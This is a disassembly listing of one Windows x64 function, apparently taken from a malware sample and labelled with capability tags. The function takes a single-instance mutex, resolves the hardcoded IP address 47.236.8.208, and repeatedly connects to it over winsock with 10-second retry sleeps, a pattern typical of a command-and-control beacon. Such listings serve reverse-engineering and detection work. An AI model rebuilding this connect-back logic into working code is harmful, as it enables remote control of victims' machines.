Function at 0x140002f00
Capabilities:
Accept command line arguments
Check mutex on windows
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
sub rsp, 0x1f8
mov rax, qword [0x1400086c8]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
lea r8, [0x1400011a8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x1400088c8], rax
test rax, rax
je 0x140002f47
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140003210
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [0x140004040]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, str.47.236.8.208
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140003210
lea rcx, [0x140008022]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140003210
cmp word [0x140008020], 0
je 0x140003210
mov edx, 0x21
lea rcx, [0x140008798]
call fcn.140003250
lea rcx, [0x140008700]
mov dword [0x140008700], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x140002fe2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140005fc0
add rsp, 0x1f8
ret
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140003014
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140005fc0
add rsp, 0x1f8
ret
lea rcx, [0x140008022]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
lea r8, [0x1400088d0]
lea rcx, [0x140008022]
call fcn.140004130
test eax, eax
je 0x140003210
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], rbp
mov qword [rsp + 0x210], rsi
mov qword [rsp + 0x1f0], rdi
call fcn.140005350
xor esi, esi
lea ebp, [rsi + 2]
nop dword [rax + rax]
lea rcx, str.47.236.8.208
mov dword [rsp + 0x20], esi
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, rax
test rax, rax
jne 0x1400030aa
lea rcx, str.47.236.8.208
call qword [sym.imp.WS2_32.dll_inet_addr]
mov edi, eax
cmp eax, 0xffffffff
jne 0x1400030da
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003070
movsx rax, word [rax + 0x12]
lea rcx, [rsp + 0x20]
mov rdx, qword [rdx + 0x18]
mov r8d, 4
cmp rax, r8
cmovb r8, rax
mov rdx, qword [rdx]
call fcn.140005ed0
mov edi, dword [rsp + 0x20]
cmp edi, 0xffffffff
je 0x1400031a6
movzx ebx, word [0x140008020]
movzx ecx, bx
mov word [rsp + 0x28], bp
call qword [sym.imp.WS2_32.dll_htons]
mov ecx, edi
mov dword [rsp + 0x2c], edi
mov word [rsp + 0x2a], ax
mov dword [0x1400088c4], esi
call qword [sym.imp.WS2_32.dll_inet_ntoa]
movzx edx, bx
mov ecx, edi
call fcn.140003990
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140003159
xor r8d, r8d
lea edx, [rax + 2]
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400031b6
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x28]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140003197
mov rcx, rbx
call fcn.140003490
test eax, eax
je 0x14000319d
test rbx, rbx
je 0x1400031a6
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, rbx
mov dword [0x140008794], eax
call fcn.1400036f0
mov ecx, eax
btr ecx, 0x1f
cmp ecx, ebp
je 0x1400031cc
cmp ecx, 1
jne 0x14000319d
test eax, eax
js 0x140003070
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140003070
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003070
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003070
mov rdi, qword [rsp + 0x1f0]
mov rsi, qword [rsp + 0x210]
mov rbp, qword [rsp + 0x208]
test eax, eax
js 0x1400031f1
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call fcn.140005410
mov rcx, qword [0x1400088c8]
mov rbx, qword [rsp + 0x200]
test rcx, rcx
je 0x140003210
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140005fc0
add rsp, 0x1f8
ret